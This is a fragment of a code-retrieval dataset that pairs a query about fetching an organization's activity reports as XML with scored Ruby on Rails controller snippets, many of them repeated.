"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "c61ab789acc205f38198a3d49ea7623a",
"score": "0.638049",
"text": "def properties=(properties)\n super({})\n\n properties.each { |key, value| set(key, value) } unless properties.nil?\n\n self.properties\n end",
"title": ""
},
{
"docid": "c7c1fc901a14d30aff8666f3a53309cf",
"score": "0.63768286",
"text": "def test_setproperty\n @record.setproperty( \"StringData\", 1, 'dddd')\n assert_equal('dddd', @record.StringData(1))\n end",
"title": ""
},
{
"docid": "b7457abdfd3826fdba96d28de6910e4a",
"score": "0.6367131",
"text": "def set_property(property, value)\n raise NotImplementedError.new(\"Implement set_property(property, value) in your Job class.\")\n end",
"title": ""
},
{
"docid": "94dcb88eb0889743d328cbb819e82c0f",
"score": "0.63658756",
"text": "def properties=(params)\n task_property_values.clear\n\n params.each do |prop_id, val_id|\n next if val_id.blank?\n task_property_values.build(:property_id => prop_id, :property_value_id => val_id)\n end\n end",
"title": ""
},
{
"docid": "d3688eded3592725944a9349133a0dde",
"score": "0.6358238",
"text": "def set_properties(props)\n @config = props\n end",
"title": ""
},
{
"docid": "7741a1b557908cbde42825f23121a41f",
"score": "0.6351248",
"text": "def []=( name, value )\n @properties[name] = value\n end",
"title": ""
}
] |
c566fffd4082c0d98c97a8f12cf8ed59
|
GET /organizations/:organization_id/activity_reports GET /organizations/:organization_id/activity_reports.xml
|
[
{
"docid": "153ad3638153d3299a756dc1b4a78c45",
"score": "0.5834027",
"text": "def index\n @search = params[:search] || Hash.new\n @search.each do |k,v|\n if !v.blank? && ActivityReport::SEARCHABLE.include?( k.to_sym )\n @activity_reports = @activity_reports.send k, v\n end\n end\n @activity_reports = @activity_reports.page(params[:page])\n\n respond_to do |format|\n format.html { render :action => 'index' }\n format.csv { csv_index }\n format.xml { render :xml => @activity_reports }\n end\n end",
"title": ""
}
] |
[
{
"docid": "5287660ffc1da7d33d5de8abe3f2ebbf",
"score": "0.6677111",
"text": "def xml_report\n RestClient::get \"#{base}/OTHER/core/other/xmlreport/\"\n end",
"title": ""
},
{
"docid": "a378256ce3d6338af7180ff544f22b3c",
"score": "0.66589576",
"text": "def xml_report\n RestClient::get \"#{@base}/OTHER/core/other/xmlreport/\"\n end",
"title": ""
},
{
"docid": "2e3f8f9e0088f9e26e535e237a053ae5",
"score": "0.6455881",
"text": "def index\n @activity_logs = ActivityLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activity_logs }\n end\n end",
"title": ""
},
{
"docid": "6264eb129893fa44268242cab1a23c1b",
"score": "0.64400506",
"text": "def activity\n respond_to do |format|\n format.xml do\n case @period.last - @period.first\n when 0..31\n render :action=>:activity_daily\n when 32..140\n render :action=>:activity_weekly\n else\n render :action=>:activity_monthly\n end\n end\n end\n end",
"title": ""
},
{
"docid": "303303d5f6906df52f91800cfdb30753",
"score": "0.6423318",
"text": "def index\n if request.xhr?\n organization_id = params[:organization_id]\n per_page = params[:iDisplayLength] || Settings.per_page\n page = params[:iDisplayStart] ? ((params[:iDisplayStart].to_i/per_page.to_i) + 1) : 1\n params[:iSortCol_0] = 1 if params[:iSortCol_0].blank?\n sort_field = SORT_MAP[params[:iSortCol_0].to_i]\n @activities = Activity.get_all_log(page, per_page, params[:sSearch], params[\"from_date\"], params[\"to_date\"], sort_field + \" \" + params[:sSortDir_0],organization_id)\n render :json => @activities\n return\n end\n end",
"title": ""
},
{
"docid": "dbb75eccc1e499c27e86e3b5a94d0b46",
"score": "0.6418477",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity_report }\n end\n end",
"title": ""
},
{
"docid": "cd150b07adefea05bd1fbde72773883e",
"score": "0.62230915",
"text": "def index\n @incident_reports = IncidentReport.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @incident_reports }\n end\n end",
"title": ""
},
{
"docid": "7baae229ec88511231c6aad26684b82d",
"score": "0.6221882",
"text": "def index\n @from = Date.parse params[:from]\n @till = params[:till] || Date.today\n #@organization = Organization.find(params[:organization]) if params[:organization]\n# @orders = Order.completed_by_date_and_organization(@from, @till, @organization)\n if params[:organization]\n @organization = Organization.find(params[:organization])\n @orders = Order.completed.by_deliver_date(@from, @till).where(:organization_id => @organization) +\n Order.ready.by_work_performed_date(@from, @till).where(:organization_id => @organization)\n else\n @orders = Order.completed.by_deliver_date(@from, @till) + Order.ready.by_work_performed_date(@from, @till)\n end\n render :xml => { :params => {\n :from => @from,\n :till => @till },\n :orders => @orders\n }.to_xml( :root => :export, :include => {:order_activities => {:include => {:activity => {:except => :id}},\n :except => [:order_id, :id, :activity_id]},\n :order_spare_parts => {:include => {:spare_part => {}}, :except => [:order_id, :id, :updated_at]},\n :customer => {}, :repair_type => {}, :status => {}},\n :methods => [:activities_amount, :spare_parts_amount, :total_amount, :total_amount_with_discount],\n :except => [:created_at, :updated_at])\n end",
"title": ""
},
{
"docid": "23a93fc4ff7a4c810d6ab70ed69020b8",
"score": "0.62015575",
"text": "def index\n @activity_trackings = ActivityTracking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activity_trackings }\n end\n end",
"title": ""
},
{
"docid": "3093eb5ce2c373d70e5e33c8fd36e2ff",
"score": "0.6115599",
"text": "def index\n @reports = Report.accessible_by(current_ability, :read)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end",
"title": ""
},
{
"docid": "1d94103b988a0b4c6260d4c6e935e000",
"score": "0.60607886",
"text": "def index\n @daily_reports = DailyReport.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @daily_reports }\n end\n end",
"title": ""
},
{
"docid": "3c8163e4feb9e2ef7d0787e9b127e427",
"score": "0.60373276",
"text": "def index\n @custom_reports = CustomReport.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @custom_reports }\n end\n end",
"title": ""
},
{
"docid": "8669190994fb29c3ccb522186a63ad3f",
"score": "0.59975386",
"text": "def index\n @reports = report_model.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @weekly_reports }\n end\n end",
"title": ""
},
{
"docid": "a58dde3966f5ac8cdd18936523ca4bb8",
"score": "0.5976192",
"text": "def get_activities(params = {})\n connection.get_request('/v2/measure', params.merge(:action => :getactivity))\n end",
"title": ""
},
{
"docid": "572dbeb3ec9eab4177daf189ec488da9",
"score": "0.5933961",
"text": "def index\n @fields_reports = FieldsReport.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fields_reports }\n end\n end",
"title": ""
},
{
"docid": "fb9dde964d834510a90d7b8189a81cfe",
"score": "0.5931064",
"text": "def reports\r\n DList._get('/reports')\r\n end",
"title": ""
},
{
"docid": "2b40abcc279429150d2f0cb22bb0817a",
"score": "0.5920924",
"text": "def data\n a = Aspect.find params[:aspect]\n from,to = spanify(params[:from], params[:until])\n data = a.report_data(from,to)\n c = data.map { |r| \n r.xml\n }\n xml = \"<report>\\n#{c}</report>\\n\"\n render :text => xml\n end",
"title": ""
},
{
"docid": "3a7a8aba3b43f8c4e13b1c45119a2355",
"score": "0.59196347",
"text": "def index\n\n @q = Activity.ransack(params[:q])\n @activities = @q.result(distinct: true)\n\n respond_to do |format|\n format.html\n format.csv { send_data @activities.to_csv }\n format.xls\n end\n\n end",
"title": ""
},
{
"docid": "f8acd8298b67cf32173e9ff20c1966b3",
"score": "0.5875643",
"text": "def list_reports(options={}) path = \"/api/v2/reports\"\n get(path, options, AvaTax::VERSION) end",
"title": ""
},
{
"docid": "a613f0784c482bd1959a788fa6311b26",
"score": "0.5871905",
"text": "def index\n @organizations = Organization.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organizations }\n end\n end",
"title": ""
},
{
"docid": "d325df85f27a2032a71e0ecb0da612b6",
"score": "0.5867219",
"text": "def report\n\t @release = Release.find(params[:id]) unless params[:id].blank?\n #@events = Event.find(:all, :order => :updated_at, :conditions => {:release_id => @release})\n @events = Event.find(:all, :group => \"cluster_id, team_assignment_id, state_id\",:order => \"updated_at\", :conditions => {:release_id => @release})\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @team_assignments }\n end\n end",
"title": ""
},
{
"docid": "de565642cd04983dea99dee9d532b97f",
"score": "0.5858134",
"text": "def index\n @report_links = ReportLink.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @report_links }\n end\n end",
"title": ""
},
{
"docid": "dbbde3ce7f59f2074fbedf202bb9d233",
"score": "0.5854439",
"text": "def show\n @activity_log = ActivityLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity_log }\n end\n end",
"title": ""
},
{
"docid": "79ad861dad1b1e8b23bbb66c3591b1f9",
"score": "0.5851787",
"text": "def index\n @organization_users = OrganizationUser.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organization_users }\n end\n end",
"title": ""
},
{
"docid": "0ff251c50a1984c0bf3036f69ff4f8be",
"score": "0.58501637",
"text": "def show\n @sites_activity = SitesActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sites_activity }\n end\n end",
"title": ""
},
{
"docid": "e5cc5ff8d6a5a1cc84a1e02b5e14abe8",
"score": "0.5820954",
"text": "def show\n @activity = @response.activities.find(params[:id])\n # was @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "59cda8d66363cb050db1f070c8602f0c",
"score": "0.58078164",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity_account }\n end\n end",
"title": ""
},
{
"docid": "f967807064a768062e004ef515204de2",
"score": "0.5802699",
"text": "def index\n \t@activities = Activitie.where(user_id: current_user.id)\n respond_to do |format|\n format.html\n format.csv { send_data @activities.to_csv }\n #format.xls { send_data @activities.to_csv(col_sep: \"\\t\") }\n #format.pdf { send_data @activities }\n format.pdf {render template: 'activities/activities_report', pdf: 'activities_report'}\n end\n end",
"title": ""
},
{
"docid": "c0152b06434ed99943ef8bc598280fdc",
"score": "0.5790817",
"text": "def view_reports\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7057b14502b05444772de3895dcfc635",
"score": "0.57899183",
"text": "def show\n @organisation = Organisation.find_by_abbr(params[:id])\n @counts = @organisation.summarise_url_state\n @total_urls = @counts.values.inject(0) {|sum, n| sum + n}\n @pages_completed = @organisation.pages_completed\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { \n render json: generate_stats_json( @organisation )\n }\n\n format.csv { render csv: @organisation}\n end\n end",
"title": ""
},
{
"docid": "64690e58cc6be831854c41d6c5cd3f1f",
"score": "0.5789437",
"text": "def index\n if params[:id].nil?\n @artifacts = Artifact.all\n respond_to do |format|\n format.xml {render xml: @artifacts}\n format.html\n end\n else\n @artifacts = User.find(params[:id]).artifacts\n respond_to do |format|\n format.xml {render xml: @artifacts}\n format.html\n end\n end\n end",
"title": ""
},
{
"docid": "3a7b26d05ed08da67cbb9eb0d3c67529",
"score": "0.5785867",
"text": "def index_for_organisation\n @organisation = current_user \n @latest_activity = Activity.latest.running.find_by_organisation_id(@organisation) \n @latest_condolence_activity = Activity.latest.condolence.running.find_by_organisation_id(@organisation) \n @latest_social = Activity.latest.social.running.find_by_organisation_id_and_honory_office(@organisation, true)\n\n render_index_for(\"organisations\")\n end",
"title": ""
},
{
"docid": "ead5c1145473df87ec065d1f4d82a84a",
"score": "0.57842267",
"text": "def index\n @global_dashboard_accesses = GlobalDashboardAccess.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @global_dashboard_accesses }\n end\n end",
"title": ""
},
{
"docid": "0d16f597ea3d8d314f6b4025ce1ce4f4",
"score": "0.5773351",
"text": "def index\n @questions = Question.find(:all, :order => :id, :conditions => { :question_type => 1 } )\n @activities = @response.activities\n # was @activities = Activity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activities }\n end\n end",
"title": ""
},
{
"docid": "10ccd933ea31338be2f5531f78b7a9f8",
"score": "0.57707256",
"text": "def index\n @organizations = current_account.organizations\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_organizations }\n end\n end",
"title": ""
},
{
"docid": "44ae68d1b3134bcb20598b0d42c228eb",
"score": "0.5767206",
"text": "def show\n exceptions = []\n if params[:except]\n exceptions = params[:except].split(\",\")\n end\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @external_otrunk_activity.to_xml(:except => exceptions) }\n end\n end",
"title": ""
},
{
"docid": "04b4eddc373c30f370b495775b8f51ff",
"score": "0.57586706",
"text": "def index\n @activities = Activity.paginate :page => params[:page], :per_page => 10\n @orgs = Org.all\n @users = User.all\n @user_time = Activity.user_time\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @activities }\n end\n end",
"title": ""
},
{
"docid": "e8cb74188e06680984a8d2c28f022a8d",
"score": "0.5754881",
"text": "def index\n @traffic_alarms = TrafficAlarm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffic_alarms }\n end\n end",
"title": ""
},
{
"docid": "e703576c1e7d07b02497ca5c9ed28bf9",
"score": "0.5747246",
"text": "def index\n @activities = Activity.all\n respond_with(@activity)\n end",
"title": ""
},
{
"docid": "f84ff1eafc56e8f58b401c4af62fa58c",
"score": "0.5745635",
"text": "def index\n @activities = Activity.all_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activities }\n end\n end",
"title": ""
},
{
"docid": "2920fd76ea09ec675c59b8f631e318f6",
"score": "0.57351345",
"text": "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @activity.to_xml }\n end\n end",
"title": ""
},
{
"docid": "0369e0d51d9bff368bef699ccb54e82e",
"score": "0.57310987",
"text": "def index\n @organisations = Organisation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organisations }\n end\n end",
"title": ""
},
{
"docid": "51f3fefacdb82602858028bb6610c7af",
"score": "0.5728953",
"text": "def index\n @orgahabs = Orgahab.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @orgahabs.to_xml }\n end\n end",
"title": ""
},
{
"docid": "f02a55d87c8ca02adb968d9fcdf76a2c",
"score": "0.5722501",
"text": "def index\n @organisations = Organisation.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organisations }\n end\n \n end",
"title": ""
},
{
"docid": "e91e2fcda52f2178e8e2ec75edde7ff6",
"score": "0.5721002",
"text": "def index\n @staff_organizations = StaffOrganization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @staff_organizations }\n end\n end",
"title": ""
},
{
"docid": "7dec13c5b1510bfe4d94367f2e6d82e3",
"score": "0.5718137",
"text": "def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(updated_at: ..31.days.ago).\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"title": ""
},
{
"docid": "fd1fc82e5ac5b290afaf314e4047b9cf",
"score": "0.5712613",
"text": "def index\n @search = @activity_accounts.search( params[:search] )\n @activity_accounts = @search.result.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activity_accounts }\n end\n end",
"title": ""
},
{
"docid": "006dd730e81564ebdcbc4985a23e2fa2",
"score": "0.5708432",
"text": "def rss # :nologin:\n headers[\"Content-Type\"] = \"application/xml\"\n @logs = RssLog.all(:conditions => \"datediff(now(), updated_at) <= 31\",\n :order => \"updated_at desc\", :limit => 100, :include => [\n :name, :species_list, { :observation => :name },\n ])\n render(:action => \"rss\", :layout => false)\n end",
"title": ""
},
{
"docid": "704a6ac2bf283a79e2b154c0441ffa68",
"score": "0.5707912",
"text": "def show\n @activity = current_user.organization.activities.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end",
"title": ""
},
{
"docid": "c51f586d453af5b6636d366d3639d126",
"score": "0.5705107",
"text": "def index\n @organisations = Organisation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organisations }\n end\n end",
"title": ""
},
{
"docid": "10806b95f3064f792713aabfa77f9dd3",
"score": "0.570369",
"text": "def show\n @tournament_report = TournamentReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tournament_report }\n end\n end",
"title": ""
},
{
"docid": "56119fa1d78af034ca83f108cc44799d",
"score": "0.5701894",
"text": "def get_log_xml\n uuid = params[:uuid]\n file = params[:file]\n full_path = \"#{Dest}/#{uuid}/#{Ig_logs}/#{file}\"\n if (file.match('xml') and File.exists?(full_path))\n @text = IO.read(full_path)\n send_data(@text,\n :filename => file,\n :type => \"text/xml\",\n :disposition => \"inline\")\n else\n # This really needs a status message, since it will appear to\n # the user that the page just redraws.\n redirect_to :action => 'report'\n end\n end",
"title": ""
},
{
"docid": "4beee687bf73c5bbfc00fd4b8b2889c4",
"score": "0.5698822",
"text": "def index\n @badges = Badge.find(:all, :conditions => [\"organization_id = ? \" , @organization ])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @orgadmin_badges }\n end\n end",
"title": ""
},
{
"docid": "5f6a294946a22374d221be99ed5f8471",
"score": "0.5687607",
"text": "def index\n @organization = Irm::Organization.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organizations }\n end\n end",
"title": ""
},
{
"docid": "409242ea44540c6754f61eb36025b17e",
"score": "0.56875974",
"text": "def index\n @campaigns = Campaign.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @campaigns }\n end\n end",
"title": ""
},
{
"docid": "75c86d95fc93c558e894f02e4e98800f",
"score": "0.5686223",
"text": "def account_organization_teamstream\n get('account/organization/teamstream')\n end",
"title": ""
},
{
"docid": "98a61e3f7313eaa14f88eb7719cbedf9",
"score": "0.5673221",
"text": "def organization_activities(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit, :done, :exclude\n end\n request(:get, \"organizations/#{id}/activities\", params)\n end",
"title": ""
},
{
"docid": "457a47c25066d361234e100c83651c68",
"score": "0.5666251",
"text": "def department\n @department = Department.find(params[:id])\n @feed_title = t('documents.feed_title', :name => @department.name)\n organization_ids = [@department.id] + @department.organization_ids\n @documents = News.published.translated\n .where(\"organization_id in (#{organization_ids.join(',')})\").limit(10).reorder('published_at DESC')\n respond_to do |format|\n format.rss\n end\n end",
"title": ""
},
{
"docid": "b36f8b68f4e575c0e31b05cae3790239",
"score": "0.56606025",
"text": "def show\n report_prepare(params)\n @show_links = true\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @timesheet }\n end\n end",
"title": ""
},
{
"docid": "8e56c762bc014e359fe8821c3ed64b81",
"score": "0.56592405",
"text": "def index\n activities = []\n @commitments = current_user.commitments\n\n @commitments.each do |commitment| \n commitment.activities.each do |activity| \n activities.push(activity)\n end\n end\n\n activities_api_data = append_attendance_record(activities)\n render json: activities_api_data\n end",
"title": ""
},
{
"docid": "8abad2dc8b5278a839e706eb97c9c930",
"score": "0.5655136",
"text": "def show\n @organization = Organization.find(params[:id])\n render :template => '/organizations/show.xml.erb', :layout => false\n end",
"title": ""
},
{
"docid": "484c6078385e9d9a6b7fee2e4c84d86c",
"score": "0.56550324",
"text": "def index\n order_by = params[:order_by] || Ubiquo::Settings.context(:ubiquo_activity).get(:activities_default_order_field)\n sort_order = params[:sort_order] || Ubiquo::Settings.context(:ubiquo_activity).get(:activities_default_sort_order)\n\n per_page = Ubiquo::Settings.context(:ubiquo_activity).get(:activities_elements_per_page)\n @activity_infos_pages, @activity_infos = ActivityInfo.paginated_filtered_search(params.merge(:per_page => per_page))\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml {\n render :xml => @activity_infos\n }\n end\n end",
"title": ""
},
{
"docid": "1bf24c2717a21205ba4dab35db61dd58",
"score": "0.56473917",
"text": "def index\n @reporte_accidentes = ReporteAccidente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reporte_accidentes }\n end\n end",
"title": ""
},
{
"docid": "4a70f9bf028f4997dd3a067702935361",
"score": "0.563855",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "4a70f9bf028f4997dd3a067702935361",
"score": "0.563855",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "28f855a4ba8b0cf924d8db76af24c62b",
"score": "0.56348485",
"text": "def index\n provider = WorkOaiProvider.new\n response = provider.process_request(oai_params.to_h)\n render :body => response, :content_type => 'text/xml'\n end",
"title": ""
},
{
"docid": "a0a6edc5dcd3ea3e2bfeb4f42e70f55f",
"score": "0.56295776",
"text": "def index\n @analysis_memberships = AnalysisMembership.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @analysis_memberships }\n end\n end",
"title": ""
},
{
"docid": "b0c0af8cdc0d3af84813819d9fa79af6",
"score": "0.5628948",
"text": "def index\n gather_dashboard_information\n respond_to do |format|\n format.html { }\n format.rss { render layout: false }\n format.atom { render layout: false }\n end\n end",
"title": ""
},
{
"docid": "b0c0af8cdc0d3af84813819d9fa79af6",
"score": "0.5628948",
"text": "def index\n gather_dashboard_information\n respond_to do |format|\n format.html { }\n format.rss { render layout: false }\n format.atom { render layout: false }\n end\n end",
"title": ""
},
{
"docid": "aa28c93796b1f7eb74cb2b4012a0af12",
"score": "0.56279826",
"text": "def show\n @job_activity = JobActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_activity }\n end\n end",
"title": ""
},
{
"docid": "bca8dff0e8d7c6e4391366fb9b567a5b",
"score": "0.5626147",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity_report }\n end\n end",
"title": ""
},
{
"docid": "85c1a0e9f35edaa903a723ebc94de74f",
"score": "0.5622458",
"text": "def show\n @activity = get_user.activities.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "cc6d977b319c38c841edeb7ec1e52df5",
"score": "0.5620165",
"text": "def index\n @reports = Report.all\n\t\t@reportsJobs = @reports.select(&:job_id)\n\t\t@reportsBooks = @reports.select(&:book_id)\n\t\t@reportsPeople = @reports.select(&:person_id)\n\t\t@reportsWebsites = @reports.select(&:website_id)\n\t\t@reportsComments = @reports.select(&:comment_id)\n\t\t@reportsReviews = @reports.select(&:review_id)\n\t\t@reportsSPAM = @reports.select(&:message_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end",
"title": ""
},
{
"docid": "a2b4a41f7b92798e07cd6622b75325bb",
"score": "0.56184787",
"text": "def index\n @government_monitorings = GovernmentMonitoring.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @government_monitorings.to_xml }\n end\n end",
"title": ""
},
{
"docid": "c91aa312fa369d6c4e72913bb78ca5b9",
"score": "0.5618288",
"text": "def show\n @repeating_requests = @app_log.repeating_requests.page(params[:page]).per(20)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app_log }\n end\n end",
"title": ""
},
{
"docid": "4c48d820e771ee5544ccc14b1f676b13",
"score": "0.561437",
"text": "def index\n asset_id_param = params[:q].present? ? params[:q][:asset_id] : params[:asset_id]\n if asset_id_param.present?\n @asset = Asset.find(asset_id_param)\n current_users_resource_filter(@asset)\n @query = AssetActivity.where(asset_account_id: @asset.asset_accounts.map(&:id)).ransack(params[:q])\n @asset_activities = @query.result.page(params[:page]).per(30).order(transaction_date: :desc)\n end\n end",
"title": ""
},
{
"docid": "9bdf75aa9db80965f6e3cbcbb15712e3",
"score": "0.56118715",
"text": "def department\n @department = Department.find(params[:id])\n @feed_title = t('documents.feed_title', :name => @department.name)\n organization_ids = [@department.id] + @department.organization_ids\n @events = Event.published.translated\n .where(\"organization_id in (#{organization_ids.join(',')})\").limit(10).reorder('starts_at DESC')\n respond_to do |format|\n format.ics { render template: 'myfeed', :layout => false }\n format.rss\n end\n end",
"title": ""
},
{
"docid": "312c49b20813cb91fb7f302f29c277b3",
"score": "0.5611382",
"text": "def list\n\t\t@organizations = Organization.paginate :page => params[:page], :per_page => 10\t\t\n \trespond_to do |format|\n \t\t format.html # list.html.erb\n \t\t\tformat.xml { render :xml => @organizations }\t#Render to XML Files\n \tend\n\tend",
"title": ""
},
{
"docid": "d7f64775de290c324182e9daa08f47f9",
"score": "0.56050164",
"text": "def show\n @user_reports = UserReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_reports }\n end\n end",
"title": ""
},
{
"docid": "d8338dbce7591d441d7bf56c190dbbdd",
"score": "0.56041205",
"text": "def index\n @activity = Activity.find(params[:activity_id])\n @versions = @activity.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @version }\n format.atom # index.atom.builder\n end\n end",
"title": ""
},
{
"docid": "e4dbdbb7d6eb6085eaf17a81d580327d",
"score": "0.5596808",
"text": "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "e4dbdbb7d6eb6085eaf17a81d580327d",
"score": "0.5596808",
"text": "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "e6ffec805a41c6b943fb8591fb840027",
"score": "0.5592161",
"text": "def index\n @resource_requests = @project.resource_requests\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @resource_requests }\n end\n end",
"title": ""
},
{
"docid": "c579d409acce61b47ab942ba3a5e8958",
"score": "0.5591151",
"text": "def index\n @sales_calls = SalesCall.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sales_calls }\n end\n end",
"title": ""
},
{
